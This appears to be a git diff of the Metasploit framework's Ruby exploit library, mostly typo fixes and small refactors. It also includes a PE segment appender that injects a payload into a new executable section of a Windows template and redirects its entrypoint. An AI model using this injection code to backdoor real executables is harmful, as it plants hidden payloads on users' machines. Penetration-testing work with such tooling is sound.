|
||||||
|
|
||||||
|
class SegmentAppender < SegmentInjector
|
||||||
|
|
||||||
|
def payload_stub(prefix)
|
||||||
|
# TODO: Implement possibly helpful payload obfuscation
|
||||||
|
asm = "new_entrypoint:\n#{prefix}\n"
|
||||||
|
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||||
|
shellcode.encoded + @payload
|
||||||
|
end
|
||||||
|
|
||||||
|
def generate_pe
|
||||||
|
# Copy our Template into a new PE
|
||||||
|
pe_orig = Metasm::PE.decode_file(template)
|
||||||
|
pe = pe_orig.mini_copy
|
||||||
|
|
||||||
|
# Copy the headers and exports
|
||||||
|
pe.mz.encoded = pe_orig.encoded[0, pe_orig.coff_offset-4]
|
||||||
|
pe.mz.encoded.export = pe_orig.encoded[0, 512].export.dup
|
||||||
|
pe.header.time = pe_orig.header.time
|
||||||
|
|
||||||
|
# Don't rebase if we can help it since Metasm doesn't do relocations well
|
||||||
|
pe.optheader.dll_characts.delete("DYNAMIC_BASE")
|
||||||
|
|
||||||
|
# TODO: Look at supporting DLLs in the future
|
||||||
|
prefix = ''
|
||||||
|
|
||||||
|
# Create a new section
|
||||||
|
s = Metasm::PE::Section.new
|
||||||
|
s.name = '.' + Rex::Text.rand_text_alpha_lower(4)
|
||||||
|
s.encoded = payload_stub prefix
|
||||||
|
s.characteristics = %w[MEM_READ MEM_WRITE MEM_EXECUTE]
|
||||||
|
|
||||||
|
pe.sections << s
|
||||||
|
pe.invalidate_header
|
||||||
|
|
||||||
|
# Change the entrypoint to our new section
|
||||||
|
pe.optheader.entrypoint = 'new_entrypoint'
|
||||||
|
pe.cpu = pe_orig.cpu
|
||||||
|
|
||||||
|
pe.encode_string
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -59,20 +59,11 @@ module Exe
|
||||||
EOS
|
EOS
|
||||||
end
|
end
|
||||||
|
|
||||||
def payload_as_asm
|
|
||||||
asm = ''
|
|
||||||
@payload.each_byte do |byte|
|
|
||||||
asm << "db " + sprintf("0x%02x", byte) + "\n"
|
|
||||||
end
|
|
||||||
return asm
|
|
||||||
end
|
|
||||||
|
|
||||||
def payload_stub(prefix)
|
def payload_stub(prefix)
|
||||||
asm = "hook_entrypoint:\n#{prefix}\n"
|
asm = "hook_entrypoint:\n#{prefix}\n"
|
||||||
asm << create_thread_stub
|
asm << create_thread_stub
|
||||||
asm << payload_as_asm
|
|
||||||
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
shellcode = Metasm::Shellcode.assemble(processor, asm)
|
||||||
shellcode.encoded
|
shellcode.encoded + @payload
|
||||||
end
|
end
|
||||||
|
|
||||||
def generate_pe
|
def generate_pe
|
||||||
|
|
|
@ -866,7 +866,7 @@ class Exploit < Msf::Module
|
||||||
|
|
||||||
#
|
#
|
||||||
# Minimum number of nops to use as a hint to the framework.
|
# Minimum number of nops to use as a hint to the framework.
|
||||||
# Nil snigifies that the framework should decide.
|
# Nil signifies that the framework should decide.
|
||||||
#
|
#
|
||||||
def payload_min_nops(explicit_target = nil)
|
def payload_min_nops(explicit_target = nil)
|
||||||
explicit_target ||= target
|
explicit_target ||= target
|
||||||
|
@ -1218,10 +1218,31 @@ class Exploit < Msf::Module
|
||||||
# Failure tracking
|
# Failure tracking
|
||||||
##
|
##
|
||||||
|
|
||||||
|
# Raises a Msf::Exploit::Failed exception. It overrides the fail_with method
|
||||||
|
# in lib/msf/core/module.rb
|
||||||
|
#
|
||||||
|
# @param reason [String] A constant from Msf::Module::Failure.
|
||||||
|
# If the reason does not come from there, then it will default to
|
||||||
|
# Msf::Module::Failure::Unknown.
|
||||||
|
# @param msg [String] (Optional) A message about the failure.
|
||||||
|
# @raise [Msf::Exploit::Failed] A custom Msf::Exploit::Failed exception.
|
||||||
|
# @return [void]
|
||||||
|
# @see Msf::Module::Failure
|
||||||
|
# @see Msf::Module#fail_with
|
||||||
|
# @example
|
||||||
|
# fail_with(Msf::Module::Failure::NoAccess, 'Unable to login to upload payload')
|
||||||
def fail_with(reason,msg=nil)
|
def fail_with(reason,msg=nil)
|
||||||
self.fail_reason = reason
|
# The reason being registered here will be used later on, so it's important we don't actually
|
||||||
|
# provide a made-up one.
|
||||||
|
allowed_values = Msf::Module::Failure.constants.collect {|e| Msf::Module::Failure.const_get(e)}
|
||||||
|
if allowed_values.include?(reason)
|
||||||
|
self.fail_reason = reason
|
||||||
|
else
|
||||||
|
self.fail_reason = Msf::Module::Failure::Unknown
|
||||||
|
end
|
||||||
|
|
||||||
self.fail_detail = msg
|
self.fail_detail = msg
|
||||||
raise Msf::Exploit::Failed, (msg || "No reason given")
|
raise Msf::Exploit::Failed, (msg || "No failure message given")
|
||||||
end
|
end
|
||||||
|
|
||||||
def report_failure
|
def report_failure
|
||||||
|
@ -1276,7 +1297,7 @@ class Exploit < Msf::Module
|
||||||
##
|
##
|
||||||
|
|
||||||
#
|
#
|
||||||
# The reason why the exploit was not successful (one of Msf::Exploit::FailReason)
|
# The reason why the exploit was not successful (one of Msf::Module::Failure)
|
||||||
#
|
#
|
||||||
attr_accessor :fail_reason
|
attr_accessor :fail_reason
|
||||||
|
|
||||||
|
@ -1393,4 +1414,3 @@ protected
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -228,14 +228,14 @@ module Exploit::Remote::AFP
|
||||||
parsed_data[:machine_type] = read_pascal_string(body, machine_type_offset)
|
parsed_data[:machine_type] = read_pascal_string(body, machine_type_offset)
|
||||||
parsed_data[:versions] = read_array(body, afp_versions_offset)
|
parsed_data[:versions] = read_array(body, afp_versions_offset)
|
||||||
parsed_data[:uams] = read_array(body, uam_count_offset)
|
parsed_data[:uams] = read_array(body, uam_count_offset)
|
||||||
# skiped icon
|
# skipped icon
|
||||||
parsed_data[:server_flags] = parse_flags(server_flags)
|
parsed_data[:server_flags] = parse_flags(server_flags)
|
||||||
parsed_data[:signature] = body.unpack("@#{server_signature_offset}H32").first
|
parsed_data[:signature] = body.unpack("@#{server_signature_offset}H32").first
|
||||||
|
|
||||||
network_addresses = read_array(body, network_addresses_offset, true)
|
network_addresses = read_array(body, network_addresses_offset, true)
|
||||||
parsed_data[:network_addresses] = parse_network_addresses(network_addresses)
|
parsed_data[:network_addresses] = parse_network_addresses(network_addresses)
|
||||||
# skiped directory names
|
# skipped directory names
|
||||||
#Error catching for offset issues on this field. Need better error ahndling all through here
|
#Error catching for offset issues on this field. Need better error handling all through here
|
||||||
begin
|
begin
|
||||||
parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset)
|
parsed_data[:utf8_server_name] = read_utf8_pascal_string(body, utf8_servername_offset)
|
||||||
rescue
|
rescue
|
||||||
|
@ -289,7 +289,7 @@ module Exploit::Remote::AFP
|
||||||
parsed_addreses << IPAddr.ntop(address[1..4]).to_s
|
parsed_addreses << IPAddr.ntop(address[1..4]).to_s
|
||||||
when 2 # Four-byte IP address followed by a two-byte port number
|
when 2 # Four-byte IP address followed by a two-byte port number
|
||||||
parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}"
|
parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}"
|
||||||
when 3 # DDP address (depricated)
|
when 3 # DDP address (deprecated)
|
||||||
next
|
next
|
||||||
when 4 # DNS name (maximum of 254 bytes)
|
when 4 # DNS name (maximum of 254 bytes)
|
||||||
parsed_addreses << address[1..address.length - 1]
|
parsed_addreses << address[1..address.length - 1]
|
||||||
|
|
|
@ -5,7 +5,7 @@ module Msf
|
||||||
#
|
#
|
||||||
# This module provides methods for sending and receiving
|
# This module provides methods for sending and receiving
|
||||||
# raw packets. It should be preferred over the soon-to-be
|
# raw packets. It should be preferred over the soon-to-be
|
||||||
# deprecated Rex::Socket::Ip and Msf::Exploite::Remote::Ip
|
# deprecated Rex::Socket::Ip and Msf::Exploit::Remote::Ip
|
||||||
# mixins.
|
# mixins.
|
||||||
#
|
#
|
||||||
# Please see the pcaprub documentation for more information
|
# Please see the pcaprub documentation for more information
|
||||||
|
@ -379,7 +379,7 @@ module Msf
|
||||||
self.arp_cache = {}
|
self.arp_cache = {}
|
||||||
end
|
end
|
||||||
|
|
||||||
# For compatabilty with Msf::Exploit::Remote::Ip
|
# For compatibilty with Msf::Exploit::Remote::Ip
|
||||||
def rhost
|
def rhost
|
||||||
datastore['RHOST']
|
datastore['RHOST']
|
||||||
end
|
end
|
||||||
|
@ -450,7 +450,7 @@ module Msf
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
# This function is usefull only on windows where pcaprub use the GUID
|
# This function is useful only on windows where pcaprub use the GUID
|
||||||
def get_interface_guid(dev)
|
def get_interface_guid(dev)
|
||||||
check_pcaprub_loaded
|
check_pcaprub_loaded
|
||||||
if RUBY_PLATFORM == "i386-mingw32"
|
if RUBY_PLATFORM == "i386-mingw32"
|
||||||
|
@ -473,7 +473,7 @@ module Msf
|
||||||
dev = get_interface_guid(dev)
|
dev = get_interface_guid(dev)
|
||||||
addrs = NetworkInterface.addresses(dev)
|
addrs = NetworkInterface.addresses(dev)
|
||||||
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
||||||
raise RuntimeError, "Can not get mac address for interface #{dev}" if !addrs[NetworkInterface::AF_LINK][0]['addr']
|
raise RuntimeError, "Cannot get mac address for interface #{dev}" if !addrs[NetworkInterface::AF_LINK][0]['addr']
|
||||||
addrs[NetworkInterface::AF_LINK][0]['addr']
|
addrs[NetworkInterface::AF_LINK][0]['addr']
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -491,7 +491,7 @@ module Msf
|
||||||
addrs = NetworkInterface.addresses(dev)
|
addrs = NetworkInterface.addresses(dev)
|
||||||
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
||||||
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
||||||
raise RuntimeError, "Can not get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr']
|
raise RuntimeError, "Cannot get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr']
|
||||||
addrs[NetworkInterface::AF_INET][num]['addr']
|
addrs[NetworkInterface::AF_INET][num]['addr']
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -501,7 +501,7 @@ module Msf
|
||||||
addrs = NetworkInterface.addresses(dev)
|
addrs = NetworkInterface.addresses(dev)
|
||||||
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
||||||
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
||||||
raise RuntimeError, "Can not get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask']
|
raise RuntimeError, "Cannot get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask']
|
||||||
addrs[NetworkInterface::AF_INET][num]['netmask']
|
addrs[NetworkInterface::AF_INET][num]['netmask']
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -511,7 +511,7 @@ module Msf
|
||||||
addrs = NetworkInterface.addresses(dev)
|
addrs = NetworkInterface.addresses(dev)
|
||||||
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
||||||
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
||||||
raise RuntimeError, "Can not get IPv4 broadcast address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['broadcast']
|
raise RuntimeError, "Cannot get IPv4 broadcast address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['broadcast']
|
||||||
addrs[NetworkInterface::AF_INET][num]['broadcast']
|
addrs[NetworkInterface::AF_INET][num]['broadcast']
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -532,7 +532,7 @@ module Msf
|
||||||
addrs = NetworkInterface.addresses(dev)
|
addrs = NetworkInterface.addresses(dev)
|
||||||
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
||||||
raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1
|
raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1
|
||||||
raise RuntimeError, "Can not get ipv6 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['addr']
|
raise RuntimeError, "Cannot get ipv6 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['addr']
|
||||||
addrs[NetworkInterface::AF_INET6][num]['addr'].gsub(/%(.)*$/, '')
|
addrs[NetworkInterface::AF_INET6][num]['addr'].gsub(/%(.)*$/, '')
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -543,7 +543,7 @@ module Msf
|
||||||
addrs = NetworkInterface.addresses(dev)
|
addrs = NetworkInterface.addresses(dev)
|
||||||
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
||||||
raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1
|
raise RuntimeError, "Interface #{dev} do not have an ipv6 address at position #{num}" if addrs[NetworkInterface::AF_INET6].length < num + 1
|
||||||
raise RuntimeError, "Can not get ipv6 netmask address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['netmask']
|
raise RuntimeError, "Cannot get ipv6 netmask address for interface #{dev}" if !addrs[NetworkInterface::AF_INET6][num]['netmask']
|
||||||
addrs[NetworkInterface::AF_INET6][num]['netmask']
|
addrs[NetworkInterface::AF_INET6][num]['netmask']
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
|
@ -108,7 +108,7 @@ module Exploit::CmdStager
|
||||||
# @option opts :decoder [Symbol] The decoder stub to use.
|
# @option opts :decoder [Symbol] The decoder stub to use.
|
||||||
# @param pl [String] String containing the payload to execute
|
# @param pl [String] String containing the payload to execute
|
||||||
# @return [Array] The list of commands to execute
|
# @return [Array] The list of commands to execute
|
||||||
# @raise [ArgumentError] raised if the cmd stub can not be generated
|
# @raise [ArgumentError] raised if the cmd stub cannot be generated
|
||||||
def generate_cmdstager(opts = {}, pl = nil)
|
def generate_cmdstager(opts = {}, pl = nil)
|
||||||
select_cmdstager(opts)
|
select_cmdstager(opts)
|
||||||
|
|
||||||
|
@ -138,12 +138,12 @@ module Exploit::CmdStager
|
||||||
|
|
||||||
# Selects the correct cmd stager and decoder stub to use
|
# Selects the correct cmd stager and decoder stub to use
|
||||||
#
|
#
|
||||||
# @param opts [Hash] Hash containing the options to select te correct cmd
|
# @param opts [Hash] Hash containing the options to select the correct cmd
|
||||||
# stager and decoder.
|
# stager and decoder.
|
||||||
# @option opts :flavor [Symbol] The cmd stager to use.
|
# @option opts :flavor [Symbol] The cmd stager to use.
|
||||||
# @option opts :decoder [Symbol] The decoder stub to use.
|
# @option opts :decoder [Symbol] The decoder stub to use.
|
||||||
# @return [void]
|
# @return [void]
|
||||||
# @raise [ArgumentError] raised if a cmd stager can not be selected or it
|
# @raise [ArgumentError] raised if a cmd stager cannot be selected or it
|
||||||
# isn't compatible with the target platform.
|
# isn't compatible with the target platform.
|
||||||
def select_cmdstager(opts = {})
|
def select_cmdstager(opts = {})
|
||||||
self.flavor = select_flavor(opts)
|
self.flavor = select_flavor(opts)
|
||||||
|
@ -188,11 +188,11 @@ module Exploit::CmdStager
|
||||||
# user through datastore options, (3) select the default decoder for the
|
# user through datastore options, (3) select the default decoder for the
|
||||||
# current cmd stager flavor if available.
|
# current cmd stager flavor if available.
|
||||||
#
|
#
|
||||||
# @param opts [Hash] Hash containing the options to select te correct
|
# @param opts [Hash] Hash containing the options to select the correct
|
||||||
# decoder.
|
# decoder.
|
||||||
# @option opts :decoder [String] The decoder stub to use.
|
# @option opts :decoder [String] The decoder stub to use.
|
||||||
# @return [String] The decoder.
|
# @return [String] The decoder.
|
||||||
# @return [nil] if a decoder can not be selected.
|
# @return [nil] if a decoder cannot be selected.
|
||||||
def select_decoder(opts = {})
|
def select_decoder(opts = {})
|
||||||
return opts[:decoder] if opts.include?(:decoder)
|
return opts[:decoder] if opts.include?(:decoder)
|
||||||
return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank?
|
return datastore['CMDSTAGER::DECODER'] unless datastore['CMDSTAGER::DECODER'].blank?
|
||||||
|
@ -203,11 +203,11 @@ module Exploit::CmdStager
|
||||||
# flavor provided in options, (2) use the flavor provided by the user
|
# flavor provided in options, (2) use the flavor provided by the user
|
||||||
# through datastore options, (3) guess the flavor using the target platform.
|
# through datastore options, (3) guess the flavor using the target platform.
|
||||||
#
|
#
|
||||||
# @param opts [Hash] Hash containing the options to select te correct cmd
|
# @param opts [Hash] Hash containing the options to select the correct cmd
|
||||||
# stager
|
# stager
|
||||||
# @option opts :flavor [Symbol] The cmd stager flavor to use.
|
# @option opts :flavor [Symbol] The cmd stager flavor to use.
|
||||||
# @return [Symbol] The flavor to use.
|
# @return [Symbol] The flavor to use.
|
||||||
# @return [nil] if a flavor can not be selected.
|
# @return [nil] if a flavor cannot be selected.
|
||||||
def select_flavor(opts = {})
|
def select_flavor(opts = {})
|
||||||
return opts[:flavor].to_sym if opts.include?(:flavor)
|
return opts[:flavor].to_sym if opts.include?(:flavor)
|
||||||
unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto'
|
unless datastore['CMDSTAGER::FLAVOR'].blank? or datastore['CMDSTAGER::FLAVOR'] == 'auto'
|
||||||
|
@ -220,7 +220,7 @@ module Exploit::CmdStager
|
||||||
# target or platform.
|
# target or platform.
|
||||||
#
|
#
|
||||||
# @return [Symbol] The cmd stager flavor to use.
|
# @return [Symbol] The cmd stager flavor to use.
|
||||||
# @return [nil] if the cmd stager flavor can not be guessed.
|
# @return [nil] if the cmd stager flavor cannot be guessed.
|
||||||
def guess_flavor
|
def guess_flavor
|
||||||
# First try to guess a compatible flavor based on the module & target information.
|
# First try to guess a compatible flavor based on the module & target information.
|
||||||
unless target_flavor.nil?
|
unless target_flavor.nil?
|
||||||
|
@ -252,7 +252,7 @@ module Exploit::CmdStager
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns all the compatible stager flavors specified by the module and each
|
# Returns all the compatible stager flavors specified by the module and each
|
||||||
# of it's targets.
|
# of its targets.
|
||||||
#
|
#
|
||||||
# @return [Array] the list of all compatible cmd stager flavors.
|
# @return [Array] the list of all compatible cmd stager flavors.
|
||||||
def module_flavors
|
def module_flavors
|
||||||
|
|
|
@ -54,7 +54,7 @@ module Exploit::FileDropper
|
||||||
# We need to be platform-independent here. Since we can't be
|
# We need to be platform-independent here. Since we can't be
|
||||||
# certain that {#target} is accurate because exploits with
|
# certain that {#target} is accurate because exploits with
|
||||||
# automatic targets frequently change it, we just go ahead and
|
# automatic targets frequently change it, we just go ahead and
|
||||||
# run both a windows and a unixy command in the same line. One
|
# run both a windows and a unix command in the same line. One
|
||||||
# of them will definitely fail and the other will probably
|
# of them will definitely fail and the other will probably
|
||||||
# succeed. Doing it this way saves us an extra round-trip.
|
# succeed. Doing it this way saves us an extra round-trip.
|
||||||
# Trick shared by @mihi42
|
# Trick shared by @mihi42
|
||||||
|
|
|
@ -238,7 +238,7 @@ module Exploit::FormatString
|
||||||
# no need to advance :)
|
# no need to advance :)
|
||||||
return "" if prec == 0
|
return "" if prec == 0
|
||||||
|
|
||||||
# asumming %x max normal length is 8...
|
# assuming %x max normal length is 8...
|
||||||
if prec >= 8
|
if prec >= 8
|
||||||
return "%0" + prec.to_s + "x"
|
return "%0" + prec.to_s + "x"
|
||||||
end
|
end
|
||||||
|
|
|
@ -211,7 +211,7 @@ module Exploit::Remote::Ftp
|
||||||
|
|
||||||
# dispatch to the proper method
|
# dispatch to the proper method
|
||||||
if (type == "get")
|
if (type == "get")
|
||||||
# failed listings jsut disconnect..
|
# failed listings just disconnect..
|
||||||
begin
|
begin
|
||||||
data = self.datasocket.get_once(-1, ftp_timeout)
|
data = self.datasocket.get_once(-1, ftp_timeout)
|
||||||
rescue ::EOFError
|
rescue ::EOFError
|
||||||
|
|
|
@ -24,7 +24,7 @@ module Exploit::Remote::Gdb
|
||||||
# thrown when a checksum is invalid
|
# thrown when a checksum is invalid
|
||||||
class BadChecksumError < RuntimeError; end
|
class BadChecksumError < RuntimeError; end
|
||||||
|
|
||||||
# Default list of supported GDB features to send the to the target
|
# Default list of supported GDB features to send them to the target
|
||||||
GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;'
|
GDB_FEATURES = 'qSupported:multiprocess+;qRelocInsn+;qvCont+;'
|
||||||
|
|
||||||
# Maps index of register in GDB that holds $PC to architecture
|
# Maps index of register in GDB that holds $PC to architecture
|
||||||
|
|
|
@ -229,7 +229,7 @@ module Exploit::Remote::HttpServer
|
||||||
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
print_status("Using URL: #{proto}://#{opts['ServerHost']}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||||
|
|
||||||
if (opts['ServerHost'] == '0.0.0.0')
|
if (opts['ServerHost'] == '0.0.0.0')
|
||||||
print_status(" Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
print_status("Local IP: #{proto}://#{Rex::Socket.source_address('1.2.3.4')}:#{opts['ServerPort']}#{uopts['Path']}")
|
||||||
end
|
end
|
||||||
|
|
||||||
add_resource(uopts)
|
add_resource(uopts)
|
||||||
|
@ -305,7 +305,7 @@ module Exploit::Remote::HttpServer
|
||||||
when /opera\/(\d+(:?\.\d+)*)/
|
when /opera\/(\d+(:?\.\d+)*)/
|
||||||
fp[:ua_name] = HttpClients::OPERA
|
fp[:ua_name] = HttpClients::OPERA
|
||||||
fp[:ua_ver] = $1
|
fp[:ua_ver] = $1
|
||||||
when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/
|
when /mozilla\/[0-9]+\.[0-9] \(compatible; msie ([0-9]+\.[0-9]+)/i, /mozilla\/[0-9]+\.[0-9] \(.+ rv:([0-9]+\.[0-9])\)/i
|
||||||
fp[:ua_name] = HttpClients::IE
|
fp[:ua_name] = HttpClients::IE
|
||||||
fp[:ua_ver] = $1
|
fp[:ua_ver] = $1
|
||||||
else
|
else
|
||||||
|
@ -453,7 +453,7 @@ module Exploit::Remote::HttpServer
|
||||||
# Returns the last-used resource path
|
# Returns the last-used resource path
|
||||||
#
|
#
|
||||||
def get_resource
|
def get_resource
|
||||||
# We don't want modules modifying their service_path inadvertantly, so
|
# We don't want modules modifying their service_path inadvertently, so
|
||||||
# give them a dup. Can be nil during module setup.
|
# give them a dup. Can be nil during module setup.
|
||||||
@service_path ? @service_path.dup : nil
|
@service_path ? @service_path.dup : nil
|
||||||
end
|
end
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
###
|
###
|
||||||
#
|
#
|
||||||
# This mixn provides methods for interacting with a JDK installation to perform
|
# This mixin provides methods for interacting with a JDK installation to perform
|
||||||
# functions such as dynamic compilation and jar signing.
|
# functions such as dynamic compilation and jar signing.
|
||||||
#
|
#
|
||||||
# Dependencies:
|
# Dependencies:
|
||||||
|
@ -108,7 +108,7 @@ module Exploit::Java
|
||||||
if classnames.class == [].class && codez.class == [].class
|
if classnames.class == [].class && codez.class == [].class
|
||||||
# default compile class
|
# default compile class
|
||||||
begin
|
begin
|
||||||
# Sames as java_compiler_klass.CompileFromMemory( String[] classnames,
|
# Same as java_compiler_klass.CompileFromMemory( String[] classnames,
|
||||||
# String[] codez, String[] compilerOptions)
|
# String[] codez, String[] compilerOptions)
|
||||||
success = java_compiler_klass._invoke('CompileFromMemory',
|
success = java_compiler_klass._invoke('CompileFromMemory',
|
||||||
# Signature explained: [ means array, Lpath.to.object; means object
|
# Signature explained: [ means array, Lpath.to.object; means object
|
||||||
|
|
|
@ -134,7 +134,7 @@ module Exploit::Remote::MSSQL_SQLI
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Issue a SQL query using the the SQL injection point
|
# Issue a SQL query using the SQL injection point
|
||||||
#
|
#
|
||||||
def mssql_query(sqla, doprint=false)
|
def mssql_query(sqla, doprint=false)
|
||||||
|
|
||||||
|
|
|
@ -92,7 +92,7 @@ module Exploit::Remote::NDMP
|
||||||
self.recv_buff << ( sock.get_once( 4 - self.recv_buff.length, 5) || '' )
|
self.recv_buff << ( sock.get_once( 4 - self.recv_buff.length, 5) || '' )
|
||||||
end
|
end
|
||||||
|
|
||||||
# If we did not recieve a full length value, return early
|
# If we did not receive a full length value, return early
|
||||||
if (self.recv_buff.length < 4)
|
if (self.recv_buff.length < 4)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
|
@ -10,7 +10,7 @@ module Msf
|
||||||
###
|
###
|
||||||
#
|
#
|
||||||
# This mixins will only provide the options name and description when a protocol want to use ntlm features from lib/rex/proto/ntlm .
|
# This mixins will only provide the options name and description when a protocol want to use ntlm features from lib/rex/proto/ntlm .
|
||||||
# Unfortunatly other mixin's still have to make direct call from lib/rex/proto/ntlm
|
# Unfortunately other mixin's still have to make direct call from lib/rex/proto/ntlm
|
||||||
# cause some protocol like SMB are implemented in lib/rex/proto/ while others like mssql are implemented in lib/msf/core/exploit
|
# cause some protocol like SMB are implemented in lib/rex/proto/ while others like mssql are implemented in lib/msf/core/exploit
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
|
|
|
@ -100,7 +100,7 @@ module Exploit::ORACLE
|
||||||
# The Handling is a little different for certain types of query
|
# The Handling is a little different for certain types of query
|
||||||
# Mainly Select needs a fetch statement to get the data
|
# Mainly Select needs a fetch statement to get the data
|
||||||
# Also return types are a little different (some return rows changed so we can used that)
|
# Also return types are a little different (some return rows changed so we can used that)
|
||||||
# The case statement could probaby be collapsed a bit but leaving it as is for the moment
|
# The case statement could probably be collapsed a bit but leaving it as is for the moment
|
||||||
# in case it's useful later...
|
# in case it's useful later...
|
||||||
|
|
||||||
# Select Queries
|
# Select Queries
|
||||||
|
|
|
@ -218,7 +218,7 @@ module Exploit::PDF
|
||||||
end
|
end
|
||||||
|
|
||||||
##
|
##
|
||||||
#Controller funtion, should be entrypoint for pdf exploits
|
#Controller function, should be entrypoint for pdf exploits
|
||||||
##
|
##
|
||||||
def create_pdf(js)
|
def create_pdf(js)
|
||||||
strFilter = ""
|
strFilter = ""
|
||||||
|
|
|
@ -1,7 +1,7 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
###
|
###
|
||||||
#
|
#
|
||||||
# This module provides methods for parseing and interacting
|
# This module provides methods for parsing and interacting
|
||||||
# with the PDF format.
|
# with the PDF format.
|
||||||
#
|
#
|
||||||
###
|
###
|
||||||
|
|
|
@ -205,7 +205,7 @@ module Exploit::Remote::Postgres
|
||||||
# result of "select version()" if authentication was successful.
|
# result of "select version()" if authentication was successful.
|
||||||
#
|
#
|
||||||
# @return [Hash] A hash containing the version in one of the keys :preauth,
|
# @return [Hash] A hash containing the version in one of the keys :preauth,
|
||||||
# :auth, or :unkown, depending on how it was determined
|
# :auth, or :unknown, depending on how it was determined
|
||||||
# @see #postgres_authed_fingerprint
|
# @see #postgres_authed_fingerprint
|
||||||
# @see #analyze_auth_error
|
# @see #analyze_auth_error
|
||||||
def postgres_fingerprint(args={})
|
def postgres_fingerprint(args={})
|
||||||
|
|
|
@ -1,10 +1,8 @@
|
||||||
# -*- coding: binary -*-
|
# -*- coding: binary -*-
|
||||||
require 'rex/exploitation/powershell'
|
require 'rex/powershell'
|
||||||
|
|
||||||
module Msf
|
module Msf
|
||||||
module Exploit::Powershell
|
module Exploit::Powershell
|
||||||
PowershellScript = Rex::Exploitation::Powershell::Script
|
|
||||||
|
|
||||||
def initialize(info = {})
|
def initialize(info = {})
|
||||||
super
|
super
|
||||||
register_advanced_options(
|
register_advanced_options(
|
||||||
|
@ -27,15 +25,13 @@ module Exploit::Powershell
|
||||||
#
|
#
|
||||||
# @return [String] Encoded script
|
# @return [String] Encoded script
|
||||||
def encode_script(script_in)
|
def encode_script(script_in)
|
||||||
# Build script object
|
opts = {}
|
||||||
psh = PowershellScript.new(script_in)
|
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k|
|
||||||
# Invoke enabled modifiers
|
|
||||||
datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ and v }.keys.map do |k|
|
|
||||||
mod_method = k.split('::').last.intern
|
mod_method = k.split('::').last.intern
|
||||||
psh.send(mod_method)
|
opts[mod_method.to_sym] = true
|
||||||
end
|
end
|
||||||
|
|
||||||
psh.encode_code
|
